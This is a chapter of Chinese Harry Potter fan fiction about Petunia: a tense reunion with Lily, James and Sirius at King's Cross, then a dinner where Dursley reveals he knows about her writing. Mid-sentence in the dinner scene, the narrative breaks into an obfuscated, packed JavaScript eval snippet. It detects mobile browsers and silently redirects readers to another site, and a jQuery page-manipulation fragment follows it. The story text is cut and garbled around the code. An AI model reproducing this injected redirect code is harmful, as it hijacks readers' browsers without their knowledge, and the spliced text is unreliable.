他们为什么用那样的眼神望着你。


    詹姆·波特和莉莉从石墙里钻出来。


    你的妹妹就站在那里。


    你的妹妹只比你小一岁，刚出生的头两年，这一岁的年龄差距就意味着你对她的无上权威，和绝对统治。你的每一句话对她来说就是数学定律，宇宙法则。


    但随着年岁的增长，她开始生长，开始追赶，于是在岁月齿轮运转的声音中，这一岁的差距每一年都在缩短，减小，直到差距拉得无限接近。


    一件很随意的学生制式白色衬衫打底，外面罩一件半旧橘红色毛衣，那件毛衣有些年头了，是很多年前的某个圣诞节，他们一起为她挑选的礼物。毛衣有些地方已经起了毛球。下摆一条深灰色羊绒裙，底下是一双黑色的平底皮鞋。


    她的红发带着水波纹似的卷度，就那么随意地披在身后。


    你的妹妹就站在那儿，呼吸。


    阳光便恨不得要从她每一根的头发里钻出来。


    你呢？


    佩妮出门时，已在穿衣镜里反复打量确认过自己那一身行头了。


    她先将那头像松狮犬一样的头发剪短，拉直，等待头发长长的过程，就靠一顶蓝色小巧的礼帽斜斜戴在她头上，修饰她的发型。短发尾乖巧地收束在她脖颈周围，蓝色礼帽下伸出一小段白色网织面纱，视觉上拉低她的眉头和发际线之间的距离，也给她添加一点成熟优雅的气质


    与之相配的是一袭天蓝色的连衣裙，搭配一件蓝白色的时尚短款外套。


    再把她的珍珠项链，还有珍珠耳环戴上。


    送她前往国王十字车站时，德思礼对她今天的妆容大为赞叹。


    “请就在这里等着我。”她看着后视镜，微微调整了一下礼帽的位置，对德思礼说。她要一个人进入站台，去接莉莉。


    现在她与刚进入百货公司时，见到的羡慕的那些女人差不多了。


    佩妮握着她的手提包，面对着他们，就站在离他们不远处的地方。


    面无表情地看着詹姆·波特带着一脸愚蠢的笑容站在莉莉的旁边，低头对莉莉说着什么。


    他也是一身学生打扮的行头。


    一群人从佩妮面前经过，有推着手推车的巫师一家人，也有白领打扮的公司职员。


    这群人像河流一样，将她和他们分开，她在河岸这一边，他们在河岸这一边。


    莉莉很快就望见了她。顺着莉莉的视线，詹姆·波特也看见了她。


    但他一开始并没有认出佩妮来，等他反应过来，就像被什么东西烫到似的，火速松开了他握着莉莉的手。


    瞧瞧他看着佩妮的眼神，若此时有外人在他们身上投下视线，一定会认为她好像是那童话故事里拆散王子和公主的老巫婆。


    “莉莉。”佩妮冷冰冰地打量着河对岸，将她的双手横抱于胸前，她身型一动不动，只是微微翕动了一下她的嘴。


    但佩妮只是刚发出一个音节，莉莉就越过河流向她扑了过来。


    “佩妮！”由于惯性，莉莉把穿着高跟鞋的佩妮撞得往后后退了两三步才堪堪稳住身形，一双手顺势牢牢环住她的脖颈。


    “我很想你。”莉莉温热的呼吸喷在她的皮肤上，用她毛茸茸的头发摩挲着她的脖颈。


    詹姆·波特跟在莉莉的身后，伸出的手像不知道往哪儿放一样，最后落在他自己乱糟糟的头发上。


    佩妮拽着莉莉的手在站台上径直往前走，她目不斜视，高跟鞋跟叩在站台的地面，持续发出清脆的响声。


    詹姆·波特就跟在她们旁边，像一个总是蛰伏在公司楼底下的电线杆旁，不厌其烦地推销自己产品的推销员。


    “嘿，佩妮。”他推了推自己的眼镜，老天，他们之间什么时候已经亲昵得交换教名了，“这个暑假，如果你有空，戈德里克山谷欢迎你。”


    “同莉莉一起。”


    “我们把房间收拾出来了，你喜欢二楼的房间吗？靠窗的房间虽然会有一点冷，但是你可以看到早晨越过山谷的第一缕阳光。”


    “我的爸爸妈妈还记得你，我爸爸说那个在站台上，耳朵边别着一朵蓝色玫瑰的女孩。”


    “戈德里克山谷不是只有巫师，也有普通人住在那里。”


    “阳光，清风，森林，山谷。”


    “我发誓那会是一个很不错的地方。”詹姆·波特说，“小天狼星也会跟我们待在一起。小天狼星？嘿，小天狼星！”


    他停下来，回头。


    佩妮这才意识到他身后遥遥坠着一个人影。


    那人影左手提着行李箱，右手搭着他的外套，不紧不慢地跟在他们身后。


    ——小天狼星。


    身着一件简单的白色衬衫，外套一件黑色半袖马甲。他黑色的头发束在脑后，左耳原本属于记忆里的那个金属耳环的位置空荡荡的。


    同他第一次和她们相遇在伦敦时那样。


    他一边往前走，视线落在身侧反射着阳光的铁轨上，追逐着落在铁轨之间草丛里啄食草籽的麻雀身上，比起站台上的景象，好像那就是现在最值得他热切关注的一切。


    詹姆停下来等他，他靠近，现在他的视线不得不看过来了。


    阳光穿过宇宙介质，落在地球上，反射到人的眼睛里需要多少秒。


    他的视线落在她的身上，与她相对，又需要多少秒。


    第一颗质子与中子相撞，剧烈的爆炸中宇宙诞生。


    轰——


    雪夜下的故事、摩托车与冲锋，那轮月亮，还有那颗明亮的星星。


    迸射出的记忆碎片像巨大的火球向她席卷而来。


    热烈地，凶猛地燃烧。


    粒子分开，宇宙又再次崩塌。


    坍塌成一双灰色的，冷冰冰的眼睛。


    眼睛里反射着她今天一身华丽的穿着，她颈上的珍珠项链，还有她耳朵上的珍珠耳环。


    只有一岁的差距，都在长大，但她显然成长得更快一步，一跃跃过了河水，跳到了河岸边。


    这个宇宙里没有雪夜下的故事，没有雪夜下的摩托车，没有雪夜下的冲锋，既没有那轮月亮，也没有那颗明亮的天狼星。


    莉莉在信里写，小天狼星·布莱克，在去年的9月，就已经同他的那个姓氏做了断绝。


    9月，在那个圣诞节之前。


    格兰芬多，一颗勇敢的心。


    勇敢的心鄙弃一切投降背叛的行为。


    多么无趣，现在他的眼神仿佛在说，好一个无趣的灵魂。


    还以为她真有下地狱的勇气。


    那就上天堂去吧，无趣的灵魂那就去天堂同耶稣作伴。


    好像很漫长，需要一个宇宙诞生又崩塌的时间。


    又好像很短暂，只是一个眨眼的瞬间。


    在视线不得不相交的前一秒，佩妮收回他的视线，落在詹姆·波特的脸上。


    他那真诚的，愚蠢的笑脸上。


    “波特！”佩妮说。


    “嘿，佩妮，你可以叫我詹姆。”詹姆·波特露出一副受伤的面容，他转而又笑出来：“你愿意吗？你会和莉莉一起来戈德里克山谷吗？”


    “不，波特，”佩妮看着詹姆·波特的眼睛，轻声说，“我的意思是，你要跟着我们到什么时候？我们要出站了，现在，你该回你自己家了。”


    她一把把詹姆·波特手上属于莉莉的箱子扯过来。


    看起来很重，但实际一点重量也没有，空荡荡的。


    魔法。


    该死的魔法，还有那空荡荡的感觉。


    “佩妮，我们去哪里？我们回科克沃斯，还是？”莉莉跟在她的身后，她的手钻在她的手掌心里就像一尾鱼。


    走出车站，她看见了德思礼，她拉着莉莉走过去：“去伦敦，到我那里去，你一整个暑假，都要和我待在一起。”


    但佩妮最后也没有去成戈德里克山谷。


    佩妮手上端着一杯热茶，将遮蔽得严严实实的窗帘挑起一道小缝，窗外光线昏暗，她看着穿戴整齐的莉莉奔下她那栋老旧的公寓。


    街灯还没亮起，路口有些昏暗，电线杆下攒动着两颗黑色的人头。


    莉莉扑向其中一个人影。


    那人接住她，将她抱起来，在原地旋转了一圈，她的头发在空中画出一圈红色的波纹。


    另外一个身影抱着胳臂，斜倚在离他们两人不远的路灯下，他站起来，佩妮隐约看见他左耳的耳饰在灯光下闪过一阵亮丽的光芒。


    他们三个走进了小路，街灯亮起。


    佩妮一把拉上了她的窗帘。


    “好好收拾一下，过几天我们就出发。”德思礼说。


    佩妮握着的金属餐刀在雪白的餐盘上不慎发出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682705|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一道粗粝的声音。


    “去哪儿？”


    “先前你没空去的那艘豪华游艇的旅程。”水晶吊灯就像舞台的聚光灯打在德思礼的头顶，他的脖子上系着雪白的餐巾，刀叉分离着盘中烤得恰到好处的牛排。


    这间餐厅同舞台也差不了多少，悠扬小提琴声，优雅的女声伴唱，推杯换盏的声音从佩妮的身后向她传来。


    “嗯，我……”佩妮低下头，在餐盘中那已被分割好的牛排切缘处落下重复的痕迹。


    “你又没有空吗，佩妮？”德思礼看着她的表情，笑着打趣他，“但这次可不行。布勒布里奇太太点名需要你出席。”


    佩妮看着餐盘中的牛排。德思礼和她都很喜欢这家牛排，这家百年传承的餐厅只进购最新鲜的牛排。


    这家餐厅有专供的牧场，据说那里的牛从出生起就采取有机喂养的模式，只吃有机饲料，绝不棚养，为了保证它们的心灵健康，每天——直到送到屠宰场前都会保证半天的牧场散养日照时间。


    ——就为了保证端上餐盘时，最鲜嫩的口感。


    “我……我想……”她斟酌着语气，想对德思礼说她的假期，同妹妹的旅行。


    “你在写小说吗？”德思礼漫不经心地开口。


    这句话就像在她身上开了一个口子，使她所有的力气都开始流失，她表情平静，心脏却开始扑通直跳。


    “我……”


    “你泼了查理·沃特斯一头一脸的咖啡。”德思礼挑眉看着她，脸上没有一点表情。


    “从来没有人敢这么对待查理·沃特斯。”


    佩妮放下手中的刀叉，咬紧了自己的牙关，抬头对德思礼说：“那是因为那天……”


    德思礼突然笑了起来，像是佩妮的表情极大地取悦了他，气氛像冰雪融化般：“你泼得很好，佩妮。”


    “沃特斯，沃特斯，自命不凡，洋洋得意的沃特斯，没有人喜欢他。”德思礼放下他的金属餐刀，将他的右手张开，翻转向上，学着沃特斯一脸自命不凡的样子。


    “他说，那天一个头发像松狮犬一样的女人泼了他一头一脸的咖啡，他发誓要找出那个可恶的女人。”德思礼笑着说，“我说他要找谁的麻烦？找德思礼女伴的麻烦？”


    “我有很多朋友，各行各业的朋友，如果他还想在他那个出版行业混下去的话。”


    “你泼得很好。但那天你向玛莎·道尔夫订下了足够一家五口人一年阅读量的杂志，用的谁的卡？我给你的那张卡吗？”


    “不，”佩妮低下了头，注视着自己餐盘中牛排的断面流出来的血红色液体，“是我自己的卡，格朗宁公司给我的工资。”


    “有点不太划算，因为那天沃特斯根本不知道该拿你怎么办。”


    “还有那些小说？噢，你们都会有一些小爱好，我该庆幸你的爱好是往杂志社寄点你写的那些小东西，而不是拿着我的卡刷下成衣店一列的名牌衣饰。”


    “就是那些报纸太不入流了。如果你喜欢，我为你找几个编辑，将你写的那些东西都收集起来，为你单独编篡出一本书，光明正大地放置在书店的书架里，而不是像现在这样，东一篇西一篇流落在那些移民家庭、酒馆里。”


    灯光照耀着这张红布覆盖的餐桌，一切都好像在舞台上。


    “来吧，同我一起去，布勒布里奇太太相当喜欢你，她点名要你出面陪伴她。布勒布里奇先生长期与我们格朗宁公司有合作。”


    她做了什么特殊的吗？她什么也没做，她只是偶尔在几个周末的下午，陪同那位先生长期不在身边的太太坐在咖啡馆里，或者电影院里，听她从她的斑点狗，一直讲到她卧室书房挂着的那副画上的葡萄。


    她陪她点一根女士香烟，烟雾模糊了她们的面容。


    等到太阳落山，街灯初上，她把那盒女士香烟塞进佩妮的手提包里。


    “不要被他们看到。但你会需要它。”


    “你想吃甜食吗？”德思礼唤来侍者，打开菜单，找到甜食的那一页，指着上面的甜食说：“都来一份。”


    不知道怎么，也许是聚光灯太耀眼了，舞台上佩妮感到一阵虚弱，头脑和四肢都软弱无力。


    “不用担心，我都能吃完。”


    他合上餐牌，看见了佩妮的脸色，他的手隔着餐桌握住佩妮的手。


    “我爱你，佩妮。”